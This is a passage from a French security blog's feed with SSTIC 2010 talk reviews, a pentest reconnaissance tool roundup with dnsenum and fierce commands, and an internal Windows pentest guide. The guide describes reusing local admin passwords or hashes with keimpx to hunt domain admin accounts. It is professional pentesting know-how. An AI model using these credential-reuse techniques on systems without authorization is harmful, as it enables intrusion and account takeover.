Duflot&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Alors là, on s'attaque à du lourd ! Quand on parle de mener nos célèbres attaques MITM sur la toile directement, on ne rigole plus. Vous avez rêvé de contrôler le réseau (via la carte réseau donc) de quiconque sur Internet ... ils l'ont fait !&lt;br /&gt;Bon, j'exagère un tout petit peu et il s'agissait d'un POC mais qui semble bien marché et qui pourrait faire très mal si ces connaissances étaient entre les mains d'attaquants ...&lt;br /&gt;Pire, ce dernier a tout le temps d'agir vu les temps extrêmement lents pour la correction d'un firmware dur ce type de matériel.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Après-midi&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;La sécurité des systèmes de vote / Frédéric Connes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Il s'agissait ici surtout d'une proposition d'une réflexion, d'un protocole pour la sécurisation des systèmes de vote électronique. C'est un sujet qui fait débat car il est difficile d'apporter un niveau de sécurité fort sur ce sujet alors que l'enjeu est très important. Et qui plus est, certains états aux USA en ont de mauvais souvenirs ...&lt;br /&gt;Dans le même temps, les Français prennent de moins en moins la peine d'aller voter (il suffit de regarder les taux d'abstention pour s'en rendre compte de suite) et il s'agit d'une solution qui en soit pourrait apporter une solution ... sur le plan pratique en tout cas car sur le plan de la SSI, cela soulève de nouveaux problèmes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;Applications Facebook : Quels risques pour l'entreprise ?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Une présentation intéressante dans le sens où l'expérience a été bien mené. Maintenant, pourquoi parler de l'entreprise alors que ce genre d'application ne devrait certainement pas être autorisé au bureau. Il existe certainement des réseaux sociaux plus appropriés. Et finalement, je dirai que les utilisateurs chez eux sont certainement plus impactés.&lt;br /&gt;Pour en revenir à la présentation elle-même, les deux orateurs ont voulu faire une démonstration d'une application malicieuse et ils l'ont fait sérieusement ! Après avoir récolté un maximum de membres via une application dont le rôle était de savoir qui nous a supprimé de ses contacts, ils nous ont montré que de multiples informations personnelles ont pu être obtenues. Ils ont aussi montré au passage quelques faiblesses sur le cloisonnement apporté par les applications.&lt;br /&gt;De plus, je pense que les idées qui permettraient de "piéger" un grand nombre d'utilisateurs sont certainement nombreuses : il suffit de voir les communautés déjà existantes (qui ne se préoccupe pas de l'orthographe d'ailleurs ;) et qui suscitent souvent la curiosité des utilisateurs.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="text-decoration: underline;"&gt;Projet OpenBSC / Harald Welte&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Je reprendrai cette très bonne présentation dans le billet suivant où un sujet similaire a été traité.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;Les rumps sessions&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Alors pas de rumps "fun" cette année. il faut dire que nous étions bien servis l'année dernière, notamment avec l'alcootest relié au PAM ;) mais plusieurs rumps sur les pentests (mon sujet de prédilection !) comme le pentests d'un blackBerry Server, le case study d'un pentest d'une société X (ou Y :)), l'exploitation d'Oracle, etc... Bref, frustrant de voir ces sujets abordés en 5 minutes seulement.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-356967425650793178?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/356967425650793178/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=356967425650793178' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/356967425650793178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/356967425650793178'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2010/06/sstic-2010-day-2.html' title='[SSTIC 2010] Day 2'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-6533699843730365550</id><published>2010-06-09T14:47:00.000-07:00</published><updated>2010-06-14T13:43:42.305-07:00</updated><title type='text'>[SSTIC 2010] Day 1</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Une nouvelle éditions, de nouvelles conférences et des choses nouvelles ... ou pas !&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Matinée&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;u&gt;Systèmes d'information : les enjeux et les défis pour le renseignement d'origine technique / Bernard BARBIER / DGSE&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Nous pouvons dire que cette édition commence de manière plutôt originale : une présentation de la DGSE ... qui a dit un entretien de recrutement ? :) Sérieusement, passionné par ce milieu, j'ai écouté attentivement ce keynote. La présentation a permis notamment de démystifier ce milieu et de montrer ce qui se passe dans la vraie vie. Bon, je connaissais un peu pour connaître une certaine personne mais chuuuuuuut ... on nous écoute peut être ?&lt;br /&gt;Globalement, on apprend les différentes briques du renseignement en France, l'organisation du renseignement qui est fondé sur le triptyque "voir - sentir - écouter". On ne nous annonce pas que la France est la meilleure dans le domaine (je tiens à le dire car j'en ai vu des conférenciers chauvins ! ;) mais on apprend qu'on s'en sort pas mal et surtout que les menaces sont connues, priotisées et manque "juste" les moyens. Notre pays a pour but de recruter dans ce sens et améliorer encore ses services de renseignements. Les déclarations sur la LIO (ou Lutte Informatique Offensive) font leur effet et on le verra lors de conférences qui suivront. Cependant, Bernard BARBIER, notre orateur, estime qu'il faut avant tout savoir se défendre : "c'est pas faux !".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Tatouage des données d'imagerie médicales / Gouenou COATRIEUX&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Quand j'ai lu le titre de la conf, je me suis dit : "encore du watermarking ! mais qu'est ce qu'on va apprendre ?". En effet, nous avions déjà eu une conférence à ce sujet l'année dernière et elle était, à mon goût, très bien faite alors qu'est ce que cette conférence pouvait apporter de plus ? En réalité, un angle tout à fait différent a été abordé ici puisqu'il s'agissait de traiter le sujet dans une tout autre domaine que le média : le domaine médicale et aussi, de prendre en compte de nouvelles contraintes. Donc finalement, cette conférence avait bel et bien un intérêt mais nous restons cloisonné à un milieu particulier qu'est la médecine et il est rare que nous ayons à travailler dans ce domaine ... mais c'est peut être ça le problème ! Un ver du nom de &lt;span style="font-style: italic;"&gt;confiker &lt;/span&gt;dans les scanners médicaux, ça ne vous rappelle rien ? On n'en parlait justement ce soir devant un verre (et oui j'ai pris un coca et j'assume même publiquement ! :)). C'est donc au sens large qu'il faudrait s'intéresser à la sécurité dans le milieu de la médecine.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Visualisation et analyse de risque dynamique pour la cyber-défense / Philippe LAGADEC&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Les termes clé de cette présentation sont la "défense dynamique". Plus précisément, il s'agit de répondre aux attaques menées sur un SI en direct. Pour cela, quatre principes sont pris en considération :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Observe ;&lt;/li&gt;&lt;li&gt;Orient ;&lt;/li&gt;&lt;li&gt;Decide ;&lt;/li&gt;&lt;li&gt;Act.&lt;/li&gt;&lt;/ul&gt;Pour observer, nous savons faire et ce ne sont pas les moyens qui manquent. Et justement ! En effet, de nombreux équipements et devices en général nous remontent des logs. Mieux, il existe des aggrégateurs de logs. Encore mieux, des corrélateurs de logs que nous appelons SIM (Security Information Management). Cependant, les outils du marché ne sont pas satisfaisant ou en tout cas, pas toujours.&lt;br /&gt;Petit souvenir : je vous parlais de l'outil OSSIM il y a un bon moment déjà et il fait partie de la famille des SIMs. Le défi de l'outil présenté était de rendre l'exploitation de logs la plus simple possible et surtout utile ! Et ce, afin de prendre les bonnes décisions et d'agir en conséquence pour se défendre et voilà, la boucle est bouclée. Et l'outil y parvient dans le sens où il permet d'avoir in fine une cartographie des machines exposées graphiquement et dans une interface qui semble ergonomique. Pour obtenir de tels résultats, il est possible de customiser l'outil en attribuant des valeurs aux assets et la criticité en sera ainsi mieux évaluée.&lt;br /&gt;En réalité, OSSIM faisait déjà pas mal de choses. Je passerais sur les défauts de ce dernier mais il apportait déjà pas mal d'éléments pour la customisation et la cartographie par subnet en moins convivial et ergonomique bien sûr. Alors cette présentation nous a montré une solution qui permettra aux décisionnaires d'avoir de l'information utile et pas seulement du "bruit" car ne l'oublions pas, "trop d'information tue l'information". Quand il s'agit de traiter des événements, les solutions finissent régulièrement dans un placard car trop complexe.&lt;br /&gt;Néanmoins, une petite déception qu'il n'y ait pas eu plus d'avancée dans ce domaine depuis tout ce temps. Ou alors les améliorations se situe sur des aspects plus techniques qui n'ont pas été abordés ?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;CASTAFIOR : Détection automatique de tunnels illégitimes par analyse statistique / Fabien ALLARD et Mathieu MOREL&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Voilà un sujet nouveau et intéressant ! Nous restons dans la défense de l'information pour protéger son S.I.  Il s'agit ici de repérer les flux illégitimes qui y transitent.  plus précisément, il ne s'agit pas d'une solution de prévention car les flux illégitimes sont repérés ... une fois qu'ils ont été transmis ! Mais la solution CASTAFIOR qui permet de faire ça a pour objectif de les localiser et de pouvoir entreprendre des actions de forensics afin de trouver notamment les auteurs de ces flux illégitimes.&lt;br /&gt;Et comment fait-on ? Afin de classifier les flux selon leur protocole, plusieurs paramètres sont pris en compte et leur agrégation permet de se faire une idée relativement précise de sa nature. A titre d'exemple, les paramètres en question pourront être la durée d'un flux ou le nombre de paquets échangés entre le client et le serveur ou le temps de latence entre chaque échange, etc.)&lt;br /&gt;Les données sont récupérées tout simplement via TCPDUMP pour analyse. Une fois l'analyse réalisée et le flux classifié, il pourra être traité en conséquence. Une interface graphique a été implémentée dans la solution CASTAFIOR afin de gérer les flux considérés comme illégitimes. En combinant deux méthodes d'analyse que sont RandomForest et BHM, des résultats tout à fait satisfaisant ont pu être obtenus.&lt;br /&gt;Bien sûr, des améliorations sont toujours possibles mais dans le domaine, il existe peu d'équivalent et ce type de solution pourrait servir dans ces nombreuses entreprises (qui a dit "toutes ou presque" ?:) où les utilisateurs cherchent à contourner les protections réseau qui sont pourtant si difficiles et parfois lourdes à mettre en place.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Après-midi&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;u&gt;Réflexion sur un plan d'action contre les botnets / Eric Freyssinet&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Haaaaaaa les botnets ! On en entend parlé de ce fléau et à juste titre. La pérennité et la force de cette menace tient du fait qu'elle repose sur le faible niveau de sécurité que l'on retrouve sur les postes de travail des utilisateurs. Et que ce soit dans le privé ou au sein des entreprises, l'élément que l'on ne maitrise pas est bien souvent le poste de travail. Il suffit aussi de faire quelques recherches sur Google quand une nouvelle vulnérabilité sort pour s'apercevoir combien de machine pourrait être infectées et servir de zombie au sein d'un botnet. Et cette fois, nous parlons aussi de serveurs. Donc un sujet qui a été, est et sera d'actualité. La présentation a permis de formaliser le sujet et de montrer qu'un effort de communication et de recherche est réellement fait à travers la presse et les laboratoires de sécurité informatique.&lt;br /&gt;C'est de manière exhaustive que l'orateur propose un plan d'action qui vise à s'attaquer selon différents axes :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;l'axe humain : on parle alors de sensibilisation ;&lt;/li&gt;&lt;li&gt;l'axe technique : on parle alors de prévention, de détection et de réaction (les outils existent !) ;&lt;/li&gt;&lt;li&gt;l'axe juridique : on parle alors de clarification de la législation.&lt;/li&gt;&lt;/ul&gt;L'étape suivante consisterait à synchroniser tout ça ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Virtdbg, un débogueur noyau utilisant la virtualisation matérielle / Damien Aumaître et Christophe Devine&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Bon, certains diront que je suis partie pris mais pour moi la meilleure conférence de la journée. Une évolution dans les travaux de Damien qui ne cesse de repousser les limites de l'accès système. Avec Christophe, on assiste à un duo de choc. L'objectif de cette conférence est d'obtenir un accès via le bus PCI (alors que le bus Firewire avait été utilisé l'année dernière). En l'occurrence, l'équipe a basé sa solution sur l'hypervision et la furtivité (notamment en reprenant les technos des rootkits évolués). Bon, je ne rentrerai pas dans les détails car on passe à un autre niveau ;)&lt;br /&gt;Lors de la conférence, le duo a ciblé un Windows 7 : encore un succès ! Il reste encore des améliorations possibles mais charge à nous d'être patients aussi ... jusqu'à l'année prochaine ! &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;Intéressez-vou&lt;/span&gt;&lt;u&gt;s au droit ... avant que le droit ne s'intéresse à vous / Eric Barbry&lt;br /&gt; &lt;br /&gt;&lt;/u&gt;Comme tous les ans, une conférence sur le droit en matière de sécurité des systèmes d'information nous est présentée et c'est bien. D'ailleurs, aucune présentation sur la sécurité organisationnelle cette année. En effet, la sécurité de l'information a besoin d'être traitée sous les angles techniques, organisationnels et juridiques pour arriver à ses fins (ou du moins, faire de son mieux).&lt;br /&gt;Ici, une présentation dynamique qui nous a permis de faire le tour des différentes lois touchant la SSI. Nous ne sommes pas rentrés dans le détail des lois mais ce n'était pas le but. En fait, l'orateur souhaité surtout apporter un discours plutôt percutant et nous montrer notre implication à tous vis-à-vis des lois sur le sujet. Avec les nouvelles lois telles que le fameux "article 34" et la fameuses (pour d'autres raisons ;) loi Hadopi, entreprises et utilisateurs sont aujourd'hui impliqués qu'ils le veuillent ou non. En effet, chacun a des obligations et chacun est tenu d'y tenir. Bref, va falloir être carré !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-6533699843730365550?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/6533699843730365550/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=6533699843730365550' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6533699843730365550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6533699843730365550'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2010/06/sstic-2010-day-1.html' title='[SSTIC 2010] Day 1'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-935080011096335010</id><published>2010-04-14T14:06:00.000-07:00</published><updated>2010-04-14T15:04:01.422-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[DISCOVERY PHASE] Rock it!</title><content type='html'>&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Tout bon test d'intrusion devrait commencer par une phase de découverte. Les tests se déroulent sur des durées très courtes (en général, quelques jours) et le seul moyen de s'imprégner de la cible, c'est d'apprendre à la connaître. Mais voilà, où aller dans le temps imparti ? Il y a certainement des choses à automatiser.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Pourquoi ce post ?&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Une phase de découverte est une étape que l'on réalisera systématiquement. Et il y a des tests récurrents et avouons-le, autant cette phase de découverte est importante, autant on a qu'une hâte pendant un "TI" comme disent les habitués, c'est de passer à l'attaque ! Alors je propose ici de donner les pistes pour se constituer un script dédié à la phase de découverte.&lt;br /&gt;Dans le même temps, on donne en fait une synthèse des outils de découverte qui nous sont bien utiles tous les jours :)&lt;br /&gt;NB : En fait, il existe certainement déjà des outils qui font ça. Cependant, je vous propose ici ma version selon mon retour d'expérience.&lt;br /&gt;&lt;br /&gt;Et ce post est particulier dans le sens où il est ouvert : vos avis sont les bienvenus (comme toujours d'ailleurs tant qu'ils sont constructifs ;).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;Y a quoi au programme ?&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;1/ Que se passe-t-il en couche 3 ?&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;On commence ici par analyser les &lt;span style="font-weight: bold;"&gt;requêtes ICMP&lt;/span&gt;. Qu'est ce qui est autorisé ou non ? Du ping aux requêtes TSTAMP en passant par le traceroute ICMP, un bon filtrage de la cible est requis sinon, nous serons en mesure de cartographier la cible. Rien de compliqué ici puisque les outils en question sont bien connus (&lt;span style="font-style: italic;"&gt;Ping&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;Traceroute&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;Sing&lt;/span&gt;, etc.) mais utilisons nous bien les options de ces outils ?&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2/ Qui est notre cible ?&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Internet &lt;/span&gt;recèle souvent des informations très intéressantes sur notre cible. En vrac, nous pouvons citer :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;les requêtes de type WHOIS (ex : &lt;span style="font-style: italic;"&gt;Dmitry&lt;/span&gt;) ;&lt;/li&gt;&lt;li&gt;les scripts permettant de rechercher des noms/emails d'employés tels que &lt;span style="font-style: italic;"&gt;theHarvester&lt;/span&gt; ;&lt;/li&gt;&lt;li&gt;les scripts permettant de récupérer les documents (malencontreusement ?) égarés sur le Net tels que &lt;span style="font-style: italic;"&gt;metagoofil&lt;/span&gt; ;&lt;/li&gt;&lt;li&gt;A compléter avec les recherches Google : je vous renvoie vers le site de référence à ce sujet, le &lt;a href="http://www.hackersforcharity.org/ghdb/"&gt;site de Johnny LONG&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;u&gt;3/  Les requêtes DNS&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Très importantes pour &lt;span style="font-weight: bold;"&gt;trouver de nouvelles machines&lt;/span&gt; ou pour mener certaines attaques, ces requêtes devraient être prise en compte. Les outils ne manquent pas, voici ma sélection :&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;dnsenum ;&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;# perl dnsenum.pl --enum -f dns.txt &lt;span style="font-style: italic;"&gt;cible&lt;/span&gt;&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;fierce&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;# perl fierce.pl -dns cible&lt;/blockquote&gt;&lt;br /&gt;&lt;u&gt;4/  On passe aux requêtes UDP et TCP&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;On ne peut pas passer à côté de celui là, je parle du &lt;span style="font-weight: bold;"&gt;scan de port &lt;/span&gt;! Pour le coup, il existe des tonnes d'outils mais si nous ne devons en citer qu'un seul, c'est bien &lt;span style="font-style: italic;"&gt;NMAP &lt;/span&gt;(et NASL pour faire plaisir à l'agent M. ;)).&lt;br /&gt;&lt;br /&gt;En plus de réaliser un scan TCP et un scan UDP que nous utiliserons avec l'option -oG pour approfondir avec l'outil &lt;span style="font-style: italic;"&gt;AMAP&lt;/span&gt;. Nous n'oublions pas &lt;span style="font-style: italic;"&gt;HTTPRINT&lt;/span&gt; pour les services WEB.&lt;br /&gt;&lt;br /&gt;Pour compléter, nous pouvons aussi utiliser SinFP qui approche une démarche différente pour fournir des résultats supplémentaires.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;5/ Tests sur l'architecture&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Les premiers tests permettent de &lt;span style="font-weight: bold;"&gt;déterminer différents équipements &lt;/span&gt;déjà :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;les routeurs (ex : avec Traceroute) ;&lt;/li&gt;&lt;li&gt;les pare-feux (filtrage ICMP / UDP / TCP) ;&lt;/li&gt;&lt;li&gt;les serveurs DNS (requêtes DNS paramètre NS) ; &lt;/li&gt;&lt;li&gt;les serveurs de messagerie (requêtes DNS paramètre MX) ;&lt;/li&gt;&lt;li&gt;présence d'autres machines (e. g. requêtes DNS) ;&lt;/li&gt;&lt;li&gt;découverte des services présents (e g. scan TCP et UDP) ;&lt;/li&gt;&lt;li&gt;etc.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;A cela, nous pouvons ajouter la découverte d'autres équipements comme les load-balancers (ex : avec le script &lt;span style="font-style: italic;"&gt;lbd.sh&lt;/span&gt;) ;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;6/ Tests WEB&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;De nouveau, voici une petite sélection pour &lt;span style="font-weight: bold;"&gt;mieux comprendre l'application WEB&lt;/span&gt; :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Trouver de nouveaux répertoires et nouvelles pages (ex : &lt;span style="font-style: italic;"&gt;list-urls.py&lt;/span&gt;) ;&lt;/li&gt;&lt;li&gt;Vérifier la sécurité des communications SSL si implémenté (e. g. commandes &lt;span style="font-style: italic;"&gt;openssl&lt;/span&gt;) ;&lt;/li&gt;&lt;li&gt;Vérifier les méthodes autorisées (ex : &lt;span style="font-style: italic;"&gt;metoscan&lt;/span&gt;) ;&lt;/li&gt;&lt;li&gt;Etc.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Nous pouvons compléter avec des classiques comme &lt;span style="font-style: italic;"&gt;Nikto &lt;/span&gt;mais personnellement, je préfère &lt;span style="font-style: italic;"&gt;Wikto &lt;/span&gt;qui permet de faire pas mal de choses. Bon, il est un peu violent quand même ;)&lt;br /&gt;&lt;br /&gt;Voilà un ensemble de tests qui devraient nous permettre de récupérer pas mal d'information sur notre cible. Après, comme toujours, il faut savoir s'adapter.&lt;br /&gt;Je crois que nous sommes prêts pour passer aux choses sérieuses !!!&lt;br /&gt;&lt;br /&gt;Have fun!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-935080011096335010?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/935080011096335010/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=935080011096335010' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/935080011096335010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/935080011096335010'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2010/04/discovery-phase-rock-it.html' title='[DISCOVERY PHASE] Rock it!'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-1532007226861551299</id><published>2010-03-24T07:18:00.001-07:00</published><updated>2010-04-01T03:40:53.135-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[INTERNAL PENTESTING] Windows Hacking</title><content type='html'>&lt;em&gt;&lt;span style="COLOR: rgb(153,153,153)"&gt;De retour pour un post qui ne devrait pas manquer d'intérêt. Notre mission du jour est de trouver tous les postes ayant un compte administrateur local connu. Dans notre quête de prise de contrôle de l'AD, ceci devrait être bien utile ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;Contexte (rapide)&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Lors d'un test d'intrusion interne, le scénario ressemble souvent à ça :&lt;br /&gt;&lt;ol&gt;&lt;li&gt;J'ai un poste utilisateur et j'ai un compte utilisateur =&gt; je deviens administrateur local ;&lt;/li&gt;&lt;li&gt;En général, tous les postes de travail ou presque ou du moins un bon groupe ont le même mot de passe pour le compte administrateur local =&gt; nous pouvons donc nous connecter avec ce compte sur d'autres PCs ;&lt;/li&gt;&lt;li&gt;On récupère tous les comptes du domaine sur tous les postes en priant que l'un d'entre eux contient un compte ayant les droits "Admin du domaine". Des outils nous permettent de connaître les comptes recherchés.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;C'est pas mal tout ça mais ça prend du temps, ce n'est pas très ciblé et donc pas très discret. On admet donc que le compte administrateur local est en notre possession (vous savez autant que moi comment faire ...) et alors, c'est là qu'entre en jeu l'outil &lt;span style="FONT-WEIGHT: bold"&gt;keimpx&lt;/span&gt;. Démonstration ...&lt;br /&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;&lt;br /&gt;&lt;br /&gt;Installation&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Voici les étapes à suivre pour installer l'outil :&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Commencer par le &lt;a href="http://code.google.com/p/keimpx/"&gt;télécharger&lt;/a&gt;, c'est un programme python ;&lt;/li&gt;&lt;li&gt;Si vous le lancez tel quel, vous aurez certainement des erreurs. Vous aurez donc sûrement besoin d'installer py2exe que vous pouvez trouver &lt;a href="http://sourceforge.net/projects/py2exe/files/"&gt;ici&lt;/a&gt; ;&lt;/li&gt;&lt;li&gt;ça ne marche toujours pas ? Normaaaaaaaaaal ;) En réalité, il vous faudra télécharger les classes Python Impacket (de Core Impact : hé oui, le tool est d'eux). Tout est &lt;a href="http://www.coresecurity.com/content/open-source-projects#Impacket"&gt;ici&lt;/a&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;Cette fois, vous n'avez plus d'excuse si ça ne marche pas ;)&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;&lt;br /&gt;On passe à l'action !&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Pour le lancer, c'est très simple. Vous pouvez soit cibler une seule machine avec &lt;span style="FONT-STYLE: italic"&gt;-t &lt;adresse_cible style="FONT-STYLE: italic"&gt;&lt;/adresse_cible&gt;&lt;/span&gt;&lt;span style="FONT-STYLE: italic"&gt;adresse_cible &lt;/span&gt;ou une liste de machine avec &lt;span style="FONT-STYLE: italic"&gt;-l &lt;fichier_texte_avec_liste style="FONT-STYLE: italic"&gt;&lt;/fichier_texte_avec_liste&gt;&lt;/span&gt;&lt;span style="FONT-STYLE: italic"&gt;fichier_texte_avec_liste&lt;/span&gt;. Ensuite, vous utiliser l'option &lt;span style="FONT-STYLE: italic"&gt;-U &lt;login_admin_local&gt;utilisateur -P mot_de_passe&lt;mot_de_passe_admin_local&gt;&lt;/mot_de_passe_admin_local&gt;&lt;/login_admin_local&gt;&lt;/span&gt;.&lt;br /&gt;&lt;u&gt;NB&lt;/u&gt; : Vous pouvez aussi utiliser les hashes : pratique !&lt;br /&gt;Vous pourrez voir par vous mêmes les résultats de l'outil mais avant de voir ces possibilités, j'ai ajouté ma petite touche personnelle alors mieux que des mots, illustration !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;Petite touche personnelle ...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;J'avais&lt;span style="FONT-STYLE: italic"&gt;&lt;login_admin_local&gt;&lt;mot_de_passe_admin_local&gt;&lt;/mot_de_passe_admin_local&gt;&lt;/login_admin_local&gt;&lt;/span&gt; deux choses à reprocher à l'outil en l'essayant une première fois sachant qu'en audit interne, nous sommes souvent confrontés à un grand nombre de poste de travail alors essayons de gagner en rapidité et en efficacité.&lt;br /&gt;En effet :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;quand on choisit de donner une liste d'hôte en paramètre, on ne peut utiliser de plages d'adresse de type 172.16.1.0-172.16.4.255 et je ne me vois pas écrire toutes les adresses une à une dans un fichier ... Ou alors, je n'ai pas vu la bonne syntaxe ?&lt;/li&gt;&lt;li&gt;keimpx va tester les credentials pour toutes les machines de la listes et c'est assez long surtout s'il y en a 